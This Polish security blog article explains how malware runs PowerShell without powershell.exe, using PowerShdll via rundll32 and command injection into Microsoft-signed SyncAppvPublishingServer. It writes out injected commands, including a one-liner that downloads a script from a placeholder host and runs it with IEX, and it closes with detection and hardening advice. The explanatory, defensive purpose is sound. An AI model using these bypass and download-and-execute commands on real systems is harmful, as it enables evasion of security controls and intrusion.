Jak malware potrafi użyć złośliwy skrypt Powershell bez konieczności wywołania Powershell.exe z linii komend?

Dlaczego Windows Powershell?

Jeśli czytaliście nasze artykuły na Kapitanie Hack’u, a w szczególności te z kampanii malware to na pewno zauważyliście, że statystycznie ulubionym narzędziem stosowanym przez twórców malware jest wbudowany w system Windows PowerShell. O innych narzędziach wbudowanych w system Windows, z który wykorzystują malware pisaliśmy tutaj.

Windows PowerShell (PS) to platforma do automatyzacji zadań i zarządzania konfiguracją aplikacji i systemami Microsoft. Jest to powłoka wiersza poleceń z przypisanym własnym językiem skryptowym. Został zbudowany w systemie DotNet Framework.
Powershell jest często używany w atakach cybernetycznych w celu ukrycia złośliwego kodu na komputerze ofiary, ale wywołanie powershell.exe może zostać wykryte przez rozwiązania do bezpieczeństwa. Niektóre firmy implementują mechanizmy monitorowania użycia PowerShell, w tym monitorują komendy i skrypty wywoływane z interpretera komend (Tutaj pokazaliśmy przykłady takiego audytu PowerShell’a).

Z uwagi na wzmożone ataki malware przez powershell, oprócz monitorowania użycia Powershell w firmach zaczęto blokować wywołanie powłoki powershell.exe przez zwykłych użytkowników. Takie ograniczenie jednak mogą być uciążliwe dla biznesu i powodować problemy w niektórych firmach, ponieważ Powershell używany jest także przez normalne aplikacje biznesowe oraz administracyjne.

Co się stanie, jeśli zablokujemy wywołanie komendy powershell.exe na komputerze?

Okazuje się, że pomimo zablokowania możliwości uruchomienia Powershell’a przez zwykłego użytkownika (np. poprzez wbudowaną w Windows 10 funkcję AppLocker) istnieją metody pozwalające na ominiecie takiej blokady.
W celu ominięcia zabezpieczeń złośliwe oprogramowanie może korzystać z funkcji systemu Windows, która umożliwia uruchamianie skryptu PS w kodzie C# bez wywoływania powershell.exe. Dzięki tej funkcji możliwe jest uruchamianie złośliwych skryptów i ominięcie rozwiązań do bezpieczeństwa. Poniżej przedstawiliśmy dwa przykłady metod stosowanych do obejścia uruchomienia powershell.exe w systemie Windows (narzędzia PowerShdll oraz SyncAppvPublishingServer).

Wywołanie skryptu PowerShell bez konieczności uruchomienia procesu powershell.exe

Pierwsza z metod wykorzystywaną przez cyberprzestępców do ominięcia odpalenia w systemie powershell.exe jest uruchomienie PowerShell’a poprzez dostarczenie na komputer ofiary specjalnej biblioteki lub programu wykonywalnego.
Wykorzystuje ona Biblioteki do automatyzacji Powershell (System.Management.Automation.dll i System.Management.Automation.ni.dll), które są klasami Powershell dla języka DotNet, umożliwiają tworzenie środowiska Powershell w kodzie jezyka C# w celu wykonania skryptów.

W celu zaprezentowania przykładu tej metody wykorzystaliśmy projekt PowerShdll napisany w języku C# przez użytkownika o pseudonimie „p3nt4”. Są to gotowe biblioteki zbudowane jako alternatywa dla powershell.exe.
Niektóre złośliwe programy mogą używać tej metody do ukrywania się przed rozwiązaniami do bezpieczeństwa, które monitorują konkretne pliki wykonywalne, takie jak powershell.exe. Używając narzędzia np. Proces Hacker, zauważyliśmy, że proces PowerShdll nie ma dostępu do powershell.exe, ponieważ bezpośrednio używa on bibliotek DLL wywołujących funkcje PowerShell.

Projekt PowerShdll jest podzielony na dwie części:

• samodzielny plik wykonywalny
• lub bibliotekę DLL.

Można stosować te dwa narzędzia zamiennie. Posiadają te same funkcjonalności.

Rozmiary plików to odpowiednio:

• 7KB plik wykonywalny
• 14KB plik zawierający bibliotekę DLL

1. Użycie pliku wykonywalnego PowerShdl.exe z GitHub:

>PowerShdll.exe <skrypt_powershell>

Inne parametry komendy to:

• Uruchomienie skryptu przekazywanego do parametru path
  >PowerShdll.exe -f <path>
• Uruchomienie powershella w interaktywnej konsoli
  >PowerShdll.exe -i

2. Użycie biblioteki DLL PowerShdll.dll z GitHub:

Drugi sposób to załadowanie biblioteki przez wbudowane w Windows narzędzie rundll32.exe i wywołanie z niej funkcji main. W parametrach przekazujemy skrypt. >rundll32 PowerShdll,main <skrypt_powershell>

Inne parametry komendy to:

• Uruchomienie skryptu przekazywanego do parametru path
  >rundll32 PowerShdll,main -f <path>
• Uruchomienie powershella w nowym oknie
  >rundll32 PowerShdll,main -w
• Uruchomienie powershella w interaktywnej konsoli
  >rundll32 PowerShdll,main -i

Jak możemy się przekonać na ekranie poniżej na liście procesów nie widać procesu powershell.exe

Przykład użycia ataku z wykorzystaniem tej metody opisaliśmy w artykule tutaj.

Co będzie jak włączymy tryb ograniczonego języka Powershell?

Tryb ograniczonego języka Powershell pomaga ograniczyć wywołanie złośliwych komend Powershell na komputerze Windows (link).

W celu sprawdzenia obejścia poweshell.exe przez narzędzie PowerSHdll.exe włączyliśmy tryb Ograniczonego Języka Powershell, ponieważ chcieliśmy zbadać czy te ograniczenia wpływają na możliwości narzędzia.

Poniższa komenda w Powershell ogranicza na komputerze możliwości Powershell:

PS> [Environment]::SetEnvironmentVariable(‘__PSLockdownPolicy‘, ‘4’, ‘Machine‘)

Sprawdzamy następnie jak to wygląda na zalogowanym użytkowniku. Poniższą komendą sprawdzimy, czy tryb ograniczonego Powershell’a działa poprawnie:

> powershell -c $ExecutionContext.SessionState.LanguageMode

Na powyższym ekranie widzimy zwróconą wartość ConstrainedLanguage, zatem nasz Powershell jest bardziej „chroniony”.

Sprawdźmy teraz jak to wygląda w naszym „magicznym” narzędziu PowerShdll.exe

Jak się okazuje w narzędziu PowerShdll.exe nie działają ograniczenia języka Powershell i otrzymaliśmy tryb FullLanguage pozwalający na wykonanie dowolnego kodu! Mamy dodatkowa furtkę do działań złośliwym kodem na komputerze.

Wstrzyknięcie złośliwego kodu w wywołaniu aplikacji SyncAppVPublishingServer

Kolejną opisywaną metodą pozwalającą obejść powershell.exe jest wykorzystanie narzędzia wbudowanego w Windows 10 do wykonywania operacji w warstwie wirtualizacji App-V. Tak swoją drogą, czy nie uważasz, że jest zbyt dużo wbudowanych aplikacji w Windows umożliwiających na działania cyberprzestępcze? Narzędzia wbudowane w Windows mogą okazać się narzędziami hackerskimi – pisaliśmy o tym w kampanii Narzędzia Hackerskie.

SyncAppVPublishingServer jest częścią Microsoft Application Virtualization (App-V) Polecenie (cmdlet) Sync-AppvPublishingServer inicjuje operację odświeżania publikowania wirtualnej aplikacji Microsoft Application Virtualization (App-V) w kontekście bieżącego użytkownika. Funkcja odświeżania publikacji łączy się ze wszystkimi dodanymi serwerami klienta i prezentuje użytkownikowi nowe aplikacje App-V i odpowiadające im punkty rozszerzeń.

Narzędzie SyncAppVPublishingServer jest dostępny na Windows w dwóch wersjach jako:

• plik wykonywalny *.exe
• skrypt VBScript

Oba narzędzia możemy znaleźć w ścieżce „C:\Windows\System32” w Windows 10 i oba są podpisane przez Microsoft.

Przetestujemy oba poniżej.

1. Użycie VBScript:

Poniżej prezentujemy interesującą zawartość skryptu SyncAppVPublishingServer.vbs

Widzimy na powyższym ekranie, że skrypt odpala w parametrach komendę Powershell o następującej składni:

[…]; Sync-AppvPublishingServer [ARGs]

Ponieważ Microsoft nie zaimplementował funkcji sprawdzania argumentów istnieje możliwość wstrzyknięcia w parametrach skryptu wywołania złośliwego kodu! Sposób jak to wykonać:

>C:\Windows\System32\SyncAppvPublishingServer.vbs „Break; Start-Process Calc.exe”

Wynikiem powyższej komendy będzie wykonanie w skrypcie:

[…]; Sync-AppvPublishingServer Break; Start-Process Calc.exe

Komenda wywoła funkcję w Break w Powershell i następnie funkcję uruchamiającą kalkulator:

Powyższa metoda jak się okazuje daje cyberprzestępcom ogromne możliwości, bo możemy przy jej użyciu np. pobrać z Internetu złośliwy kod PowerShell i go wykonać. Przykład:

>SyncAppvPublishingServer.vbs „n;((New-Object Net.WebClient).DownloadString(’http://adreswww.com/zlosliwy_skrypt.ps1′) | IEX”

Skrypt SyncAppVPublishingServer.vbs pozwala na wykonanie wstrzykniętego kodu i może pomóc w analizie, jak działa powiązany z nim plik wykonywalny (SyncAppvPublishingServer.exe). Niektóre złośliwe programy mogą wykorzystać tę sytuację do wykonania skryptu Powershell ze skryptu podpisanego przez Microsoft bądź aplikacji exe.

2. Użycie pliku wykonywalnego EXE:

Wersja SyncAppVPublishingServer w postaci pliku wykonywalnego „exe” używa tych samych argumentów z wiersza poleceń, do uruchomienia złośliwego kodu jak wersja skryptowa:

>C:\Windows\System32\SyncAppVPublishingServer.exe „Break; Start-Process Calc.exe”

Podobnie jak w wersji VBScript, plik wykonywalny pozwala na wykonywanie skryptów wstrzykiwanych w jego argumentach. Ponieważ narzędzie jest podpisane przez Microsoft, pozwala ominąć niektóre rozwiązania bezpieczeństwa.

Czy jest się czego bać?

Opisane powyżej dwa przypadki pokazują jak twórcy malware mogą ominąć standardowe/bądź wbudowane oraz skonfigurowane najnowsze zabezpieczenia w Windows 10. Są one tyle ciekawe, że wykorzystują wbudowane w Windows narzędzia lub pobrana na komputer bibliotekę DLL lub nawet plik wykonywalny EXE, który możemy uruchomić bez żadnych ograniczeń na zwykłym użytkowniku!

Inną ciekawostką jest, iż pomimo skonfigurowania trybu ograniczonego jezyka Powershell w systemie, jesteśmy w stanie obejść także ta restrykcję.

Przetestujcie swoje systemy i sprawdźcie, czy udało się wykonać wywołanie powyższych dwóch metod w środowisku. Jeśli tak możecie się przed tym zabezpieczyć, bo warto.

Jak możemy sobie pomóc?

Przede wszystkim stosując i implementując w systemach przykłady dobrych praktyk z Powershell (i nie tylko). Należą do nich:

• Monitorowanie komend Powershell o dużej długości.
• Monitorowanie wywołania plików „exe” z lokalizacji/katalogów, do których ma dostęp zwykły użytkownik
• Monitorowanie użycie rundll32.exe oraz SyncAppvPublishingServer.exe
• Monitorowanie uruchamianych skryptów VBScript
• Umieszczanie Powershell w trybie ograniczonego języka – link – może nie do końca się sprawdzi ale zawsze to coś.
• Włączenie audytu – ulepszonego rejestrowania poleceń Powershell – czyli rejestrowanie bloków skryptów (przykład tutaj).

Innymi dobrymi praktykami będą też na pewno:

• Wykonywanie cyklicznych testów przez wyspecjalizowane zespoły do łamania zabezpieczeń w celu określenia podejrzanej aktywności
• Audytowanie środowiska i szukanie odchyleń wzorów (takich jak Powershell, CBD, regsvr32 itd.) oraz ich prób komunikacji z Internetem
• Monitorowanie wzorców takich jak IEX, EncodedCommand (oraz wszystkich innych iteracji -e, -ec, -en, enc, itp.). Nie będzie to kompleksowa ochrona, ale zawsze jakaś 🙂
• Wykorzystanie narzędzia takiego jak Sysmon do zwiększenia możliwości rejestrowania i wykrywania technik wstrzyknięcia kodu, które mogą pochodzić z podejrzanych procesów, w tym PowerShell.exe
• Szukanie w infrastrukturze plików System.Management.Automation.dll i System.Management.Automation.ni.dll, które nie pochodzą od powershell.exe i powershell_ise.exe (zwykle używane do korzystania z Powershell, ale nie wywołują bezpośrednio Powershell)
• Zablokowanie zwykłym użytkownikom uruchamianie Powershell, jeśli nie jest to konieczne (funkcja AppLocker + Device Guard może blokować zwykłych użytkowników i umożliwiać administratorom / systemowi korzystanie z Powershell).
• Monitorowanie procesów podrzędnych, które są wywoływane z powershell.exe i potencjalne ich przejęć, które mogą być wywoływane przez procesy z innych lokalizacji.
• Szukanie pliku powershell.exe (znajdującego się w systemie w katalogu c:\winows\system32), składającego podrzędny proces 32-bitowego PowerShell (znajdującego się w SYSWOW64). Dobra wskazówka na wykrywanie technik wstrzykiwania kodu powłoki.